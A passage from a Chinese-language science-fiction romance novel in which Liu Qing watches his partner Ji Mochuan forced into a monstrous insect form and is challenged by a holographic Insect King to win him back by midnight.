车停下,塞弗恩特走到跟前,行了个恭恭敬敬的礼。
“康恩殿下。”
季末川没有回答,视线越过虫侍们,落在大门里头。
刘清也不由自主跟随季末川的视线朝里看去。
“怎么了?”
季末川的脸色不太好。
刘清感觉到季末川在碰他。他低头去看,发现季末川没有动,动的是他挨着自己的这一侧身体。
准确说是身体下的东西。
他的肋下,衣服被顶起了一个很大的包,有东西胎儿一样地缓慢滑动了两下,鼓起来的位置碰到了刘清的手臂。
那或许是季末川用皮囊压下去的另外两条手臂,或者是翅膀;也或许是季末川蠢蠢欲动的真实形态。
季末川转头看向刘清,他深吸一口气,说话的时候露出了那满嘴鲨齿一样的牙。
“刘清,可能我们得暂时分开一点时间了。”
他的声音干哑得厉害,就像是在沙漠里走了几天几夜的人,又像是喉咙里刚被烘烤过几个小时,音量再大一些都会撕开声带。
刘清一把握住了他的手臂,却转头去看塞弗恩特。
“你们做了什么?”
塞弗恩特平静地说道:“虫族任何个体都无法长时间远离虫王,特别是绝对伴侣。陛下刚破壳,这种对王的回归欲望只会更加强烈,我们会用蜜果硬糖缓解这种症状,但康恩殿下受到的吸引是我们的千百倍。”
刘清显然不相信塞弗恩特的话。“虫王破壳了好几个小时,却要走到你们门前他才能感觉到吗?”
塞弗恩特并不隐瞒,“陛下认为,坦诚相待是伴侣之间最基本的素质。或许你想要了解康恩殿下的真实形态。”
“够了。”
季末川突然出声。
他竭力忍耐着身体上的不适,但他脸上那几道黑线一样的痕迹已经变粗了一些,从“黑线”里流出一点湛蓝的颜色。
“刘清。”
季末川伸手摸上刘清的脸,宽大的手掌擒着刘清的下颌,拇指有些用力地顺着刘清的下颌骨滑按到唇角。
刘清的注意力落在他的双眼上。
季末川笑了一下,眼里迸着漂亮的光。
“我很幸运。”
他突然没头没脑地说了这样一句话,然后低头在刘清唇上亲了一口。变得过于锋利的牙齿刮过刘清的唇肉,像刀刃一样危险,又恋恋不舍。
刘清抓着季末川的手腕。
他还能摸到季末川的骨头,但是也能感觉到那骨头像是沸腾了一样在鼓动,起伏的触感诡异又恐怖,立马要钻出来什么东西一样。
刘清抓得更紧了。
他非常认真地看着季末川的眼睛,说:“季末川,我以前不知道自己想要什么,但现在我很确定,我想要你。”
季末川露出了一个痛快的笑,又用力亲了刘清一下。
下一秒,刘清感觉到一只手盖住了自己的双眼,两只手分别按住了他左右的双手,以及擒着他下颌的手。
四只手。
“别看。”
季末川说。
刘清听到了一阵破裂的声音,像是布料被绷开,干燥的皮革被扯裂,以及很长的木材被随意堆倒在一起的碰撞声,还有湿漉漉的布帛铺展开的声音。
他感觉到周围空气被搅动,左边一阵风,右边一阵风;代步车被摇晃得快要散架,有什么东西压塌了车头,刘清整个人都被震得弹起来了半寸——又被季末川那四条手臂压了下去。
刘清的身体被扯得发疼,心里蓦然升起一股躁火。
“季末川,你松开。”
季末川没有松开。
于是刘清也不喊了,他突然扬起了自己的介质触须,刺在了季末川擒着他的手臂上。
压住他双手的手臂僵了一瞬,刘清趁机反客为主,一把扭过季末川的手腕,脑袋一偏,让开盖住他眼睛的手掌,终于掌握了主动权。
啪!
禁锢刘清的四条手臂转眼不见,他跟前取而代之的是一个黑色的庞然大物。
刘清呆住了。
眼前的虫子跟他见过的那只不一样。
他几天前看到的那只大虫子修长,尽管说不清到底是怎样的种目,但终究还是刘清认知里昆虫的模样。甲壳如同机械一样,干净利落。
可是眼前的黑色的虫子,或者祂真的能被称为虫子吗?
祂身体并不是完全凝实的,节肢的边缘飘散着纱雾一般的物质,但当节肢触碰到东西的时候,它又完全凝实了,甲壳粗粝
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,边缘覆盖着刀刃一样的刚毛。
刘清根本无法一眼看完祂的全部身体。他看到跟前节肢的甲壳上没有过多的蜡质成分,凹凸不平的颗粒构成一种肌肉和皮肤的错觉。
不,不是错觉。
他确实能感觉到眼前这个庞然大物,即使一根节肢、一根触角都在呼吸一样。
那三对复眼也像是悬浮在祂的身体上,无论视线从哪个角度窥探祂,都会被这三对复眼立刻捕获。
与其说是生物,祂更像是“捕猎”本身的存在。
刘清的心跳骤然加快。他分不清泵进心脏的是兴奋还是恐惧,但他的大脑都因为过快的血液涌动而有片刻的空白。
“我错了。”
季末川的声音像是从很远的地方传来,刘清甚至分不清祂的发声器官在哪里。
季末川说:“他们骗了我,传承被筛选了。王不可杀死。绝对伴侣必须先背叛,而后被王肃清。
“不可维持人形,是王对我的惩罚。”
刘清的瞳孔紧缩,立刻明白了季末川的意思。
陷阱。
从第几任虫王开始的?他们选择性地给绝对伴侣遗留传承内容,制造虫王被规则逐步削弱的错觉。到这一次,虫王故意晚于绝对伴侣破壳——又或者只是延迟了季末川收到破壳的信号——制造出王落于下风的假象。
更凑巧的是,季末川遇到了他,爱上了他。想要与虫王割裂的理由又多了一个。且变得迫切。
季末川很快完成了对虫王从“不服”到“背叛”的演化过程。
示弱的王亲自把季末川拉上了黄金海的棋盘,把他放在了棋手的位置。
因为只有在这个位置上,被杀死的绝对伴侣才不会像被之前送走的那几个生鞘那样,会在下一次依旧与王卵一起出现、破壳。
只有在这个位置上,杀死了绝对伴侣,才能真的切断虫王与绝对伴侣之间的共生联系。
某种意义来说,虫王与季末川的动机是一样的。
不,不对。说不通。
换位思考,如果刘清是虫王,筹谋了这么多,不惜把连续几任绝对伴侣都扼杀在破壳之前。
终于在这一次,我把绝对伴侣放到了棋盘上,我只是假装示弱,我能隔着星域让他被迫现出原形……那我为什么不直接杀了他?
是不想,还是不能?
答案只可能是后者。
绝对伴侣是备用的王,但只有王确实足够羸弱,绝对伴侣才能真的站上棋盘。现在的虫王或许隐藏了一部分实力,但也确实是相对羸弱的,无法在这个距离上“肃清”绝对伴侣。
他只是在恐吓,在给下马威。
刘清明白了虫王为什么要给他看这一出——他或许现在杀不死季末川,但他可以折磨季末川,并且只要季末川一旦回到虫星,那张棋盘上的赢家只可能是一个。
“……”
这是虫王给他的选择题。
刘清伸手穿过虫子轮廓边缘的黑雾,触摸到了一片冰凉坚硬的东西。
“季末川,你信我能成王吗?”
季末川的声音毫不迟疑,“信。”
刘清:“那我就把你抢过来。”
季末川:“好。”
42.不可战胜。
荒废的护理区并没有被全部启用,大部分的区域依旧布满落叶,痕迹萧瑟。
塞弗恩特带刘清去了护理区最靠里的位置。
这里原先是一个生态区,看上去和隔离墙外的原始丛林别无二致。铺满落叶和苔藓的庭院里栖息着一只卡车大小的黑色步甲虫。
纯虫目。
一种低自我意识,不具备人形态,被用作“劳力”的种群。甚至在最初的时候,他们并不被其他虫族认作同类。
就刘清的了解,步甲虫常被用作运输工具和轿撵。它们的身体构造与原始地球的昆虫十分类似。
但眼前这个却有些不同。
祂的鞘翅是透明的,通过鞘翅能看到祂的身体里边有一团发光的东西,那东西看不清轮廓,只觉得像是一个柔软的肉团,有一定的韧性,正在像心脏一样规律地收缩着。
没有虫子会长成这样。
刘清猜测,这是一种虫族的生物科技——虫族长于此道。
“请稍等。”
塞弗恩特屏退了其他虫侍,亲自走到了步甲虫跟前。也不知道他做了什么操作,那只步甲虫的触角摆动了一下,发出一种滞涩的吱呀声。
片刻后,步甲虫身体里发光的东西更亮了,然后透出一束光落在刘清的跟前,光里逐渐有了影像。
和联盟全息投影的技术很像,但是应该不会被智能设备与魂力相关设备截获——否则阿强不会不知道——具有很强的隐蔽性。
被投影出来的是一张宽大、精致的座椅,椅子上坐着一个年轻的男人。
他看上去比刘清的年纪要大一些,长发,发尾透明,分布着和刘清后脑的介质纤维一样的触须;眼睛是金色的,瞳孔不规则,但看不清具体是什么形状。
他的长相清冷,身材偏瘦,穿着白色绸缎和黄金构成的衣服,赤足,每一寸皮肤都完美无瑕。
尽管他的五官没有惊若天人,但是当你看到他的时候,你的脑海里就会无意识生出“完美”两个字。
比起“王”,他更像是“神”。
“陛下。”塞弗恩特虔诚地跪在男人的影像跟前。
刘清没有动,但他的身后——季末川跟在他的身后——突然砰!砰砰!传来几声闷响。
过于庞大的虫体突然压下,就像是山体塌陷一样在刘清的头上投下阴影。
刘清的心里一惊,下意识抬头去看。
飘散着黑雾的虫子节肢几乎折断,以一种不正常的姿势被压在地上,他的头部也被迫低下。
一个恭恭敬敬的顺从姿势。
刘清仰头只能看到季末川凶狠的口器,那流体蓝的三对复眼避开了他的注视。
不愿意——这样难堪狼狈的样子,他下意识逃避。
刘清的齿关骤然咬死,他回头看向投影里的年轻男人。
年轻的虫王轻轻抬了下食指。塞弗恩特就退到了一边,站在步甲虫的脑袋旁边当起了装饰品。
季末川却依旧动弹不得,但也没有再被往泥里压。
虫王开口,对刘清说话。
“刘清,初次见面,应该不需要自我介绍。”
他的语气非常温和礼貌,没有一点的傲慢,但也并没有太多的尊重。
具体形容的话,他对刘清说话的语气,就像是对一只稚嫩的猫猫狗狗在说话。
刘清感觉得到虫王对他的影响——他的心里也有本能的退怯。
就像是普通人看到电视里的明星、金尊玉贵的富豪、国家机关领导这类“上位者”的时候,心里会生出一种怯场的心态一样。
“虫王陛下。”
刘清朝前走了一步,走出了季末川的影子的覆盖范围。
虫王很欣赏他的前进,露出了一个鼓励的笑。
“我喜欢你的勇敢。这也是季末川最喜欢你的那部分品质。你可以再走近一些。”
“……”
刘清不知道虫王要做什么,但他只迟疑了半秒,就依言朝着虫王走去。
直到他距离虫王还剩一米的时候,他再也无法前进。
是的,无法前进。
刘清迟了半毫才发觉自己没有朝前走的事实。
他低头惊讶地去看自己的腿,发现它只是立在原地,像是跟他的大脑断开了连接。可奇怪的是,他还能感觉到腿踩在地上的踏实感觉,也能让它左右和朝后移动。
只是无法前进。
身体失控了。
刘清的意志在一瞬间崩裂了一个口子。
他的大脑像是一台自启动的机器,飞快地处理着他这几天接收到的所有信息。然后他很快得到了结论:他也被骗了。
虫王欺骗了季末川的传承,他的“老师”塞弗恩特也欺骗了他。
他是“可能存在”的新生的王,但即使成为了王,也并没有资格与虫王“平分”黄金海的规则。
他只是虫王那片黄金海里沸腾出的一个小小意外。他还能存在,只是因为虫王需要他。
就像虫王需要季末川站上黄金海的棋盘一样。
一瞬间。
刘清的视野倒置,他看到自己落入了黄金海之下,身上牵连出了一条丝线,丝线的尽头被捏在虫王的掌心。
无法战胜。
咔。
崩裂的口子在刘清的意志上快速扩列。
他面前的是历经了数百年的虫族的王,继承了上百任虫王的意志和学识,操控着数十亿乃至百亿虫族个体的意识。
而他,连意识薄弱的十数万人都还没有消化。
根本赢不了。
咔嚓咔嚓。
自以为坚不可摧的意志,悄无声息地崩裂出了无数的伤痕。
他的意识被置于黄金海上,就像是把一滴水放到了大海跟前。大海只是发出呼吸的潮汐声,这滴水就会自行在它的呼吸里蒸发、崩散。
“好像操之过急了。”
意识震荡中,刘清隐约听到了这样一句话。然后那铺天盖地压垮他意志的东西,山呼海啸地退开了。
他的恐惧被他遗忘,于是他又生出了一些勇气。
刘清的手指弹动了一下,五感真实回笼,背上渗出了一层冷汗,衣服已经湿透。
“你……”刘清被自己的声音的干哑程度吓了一跳,他顿了一下,又继续说完自己的话,“想做什么?”
虫王依旧是那样的温和与礼貌。
“我想要就此了结双生纪元。所以我需要你们。”
跟刘清猜的无二——这并不难猜,因为虫王和塞弗恩特从未掩饰过这个目的。
“但实际上,这份需要也不是必须的。季末川身为我的绝对伴侣,并且已经被黄金海的规则认可,在我已经‘发现’了他的前提下,他无法在这里停留太多时间。一旦他回到虫星,他只能去死。
“可是也有微渺的一丝可能性,他能够重创我,致使规则依旧认定双王纪元。——我会尽可能避免这种可能性的存在,所以我决定赐予你一个机会。”
“刘清。我会用虫王的权力在次空间构建一个平台,时间就在今天午夜。你进入平台的门票是黄金海的认可。
“在那个平台上,你可以尽情发挥你的权力和想象,那是你唯一可以抢走季末川的机会——我真心地希望你可以做到。”
“相反,如果你进入不了那个平台,对你没有任何关系。我不会把你纳入黄金
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海,你和地球上的这些人,会成为被我遗弃的种群。你们不再有王,但血脉会延续,会成为被其他亚人种视作工具的存在。
“但只有你。时间一到,季末川会进来的。”
“所以,到今天午夜之前,请你努力获得资格,从我这里抢走季末川。不要让我失望。”
他如此坦诚,毫无遮掩,因为完全没有遮掩的必要。
游戏的邀请和规则毫无保留地摆在这里,刘清无论从什么角度去解读,得到的答案只有一个:真的。
他真的只有一条路可以走,真的只有这一个办法可以尝试。
有那么一个瞬间,刘清的意识深处响起了一个懦弱的声音:放弃吧,放弃就不用成王,不用被发现,牺牲的只是保护区那些“死而复生”的人,你依旧可以平静地度过这一生。
你本来就是重生来享福的,不是吗?
享福就应该轻轻松松、不劳而获,不是吗?
不是。
刘清捏住了那个怯懦的声音,坚决地将它掐灭。
他要的享福从来不是系统定义的模样,他要一个人,一份情,一段他上辈子不曾拥有的人生。
他曾经以为自己永远不可能得到这样的一段人生,可现在他碰到了,又怎么可能放手?
刘清因为过度思考而有些麻痹的眼里重新凝聚出了一道坚毅的光。他看着虫王,问他:“我要怎么抢走他?”
虫王回答:“回归我,然后战胜我。当你足够强烈地认可自己的身份,肯定自己的行为,掌控自己的子民,你就有了复刻我的规则的能力。
“或许那时候,规则可以被你欺骗,让季末川成为你的绝对伴侣。”
虫王的视线越过刘清,落在他身后的季末川身上。他抬起了一根手指,那只巨大的虫子便呕吐一般吐出了一堆混杂内脏碎片的鲜血。
“季末川!”
刘清大叫一声,但下一秒,他却感觉到一股不容忽视的视线凝视着他,如芒在背,稍有动弹就会被那股视线抓住。
刘清僵在原地。
虫王看着季末川,平静的眼神终于有了一点情绪的波动。
“历任的绝对伴侣,你是唯一一个轻而易举爱上别人的。我对你的感情不予置评,但你必须接受惩罚。”
巨大的虫子倒在地上,裹着祂的黑雾越发弥散,他的节肢痛苦地抽搐着,三对复眼像是不稳定的电灯闪烁着。
季末川呕着血,艰难地开口:“双生纪元是虫王发起的,绝对伴侣是虫王塑造的。您现在想要摆脱的一切,都是您的先代竭力创造的。”
虫王:“我知道,我也并没有仇恨你。相反的,我完全理解初代创造绝对伴侣的初衷,为确保王不刚愎自用,适当的权力掣肘有益于虫族的长远发展。
“可正因为我理解初代的抉择,所以我才绝对不会让双生纪元再延续下去。虫王理应至高无上,我绝对不允许我的生命屈从于他人的意志。”
“您会带领虫族走回闭锁时代。”
“虫族不需要与人为伍,人类自会与我们同流,这是人的本性使然。双生纪元从一开始就是虫王的屈辱史。”
“……”
巨大的虫子又吐出两口骇人的鲜血。季末川的声音疲惫。
“我明白了。陛下,我的传承、我的力量和血肉,都归还于您。但我的灵魂、我的意愿和骨头,它们将永远属于刘清。”
虫王看着地上那只扭曲痛苦的虫子,片刻后吐出了两个字:“愚蠢。”
接着,全息影像消失,步甲虫里的那团光暗淡了下去,祂掀开鞘翅,快速舒展膜翅震动了几秒,又收回翅膀。变成了一只漆黑的,普普通通的步甲。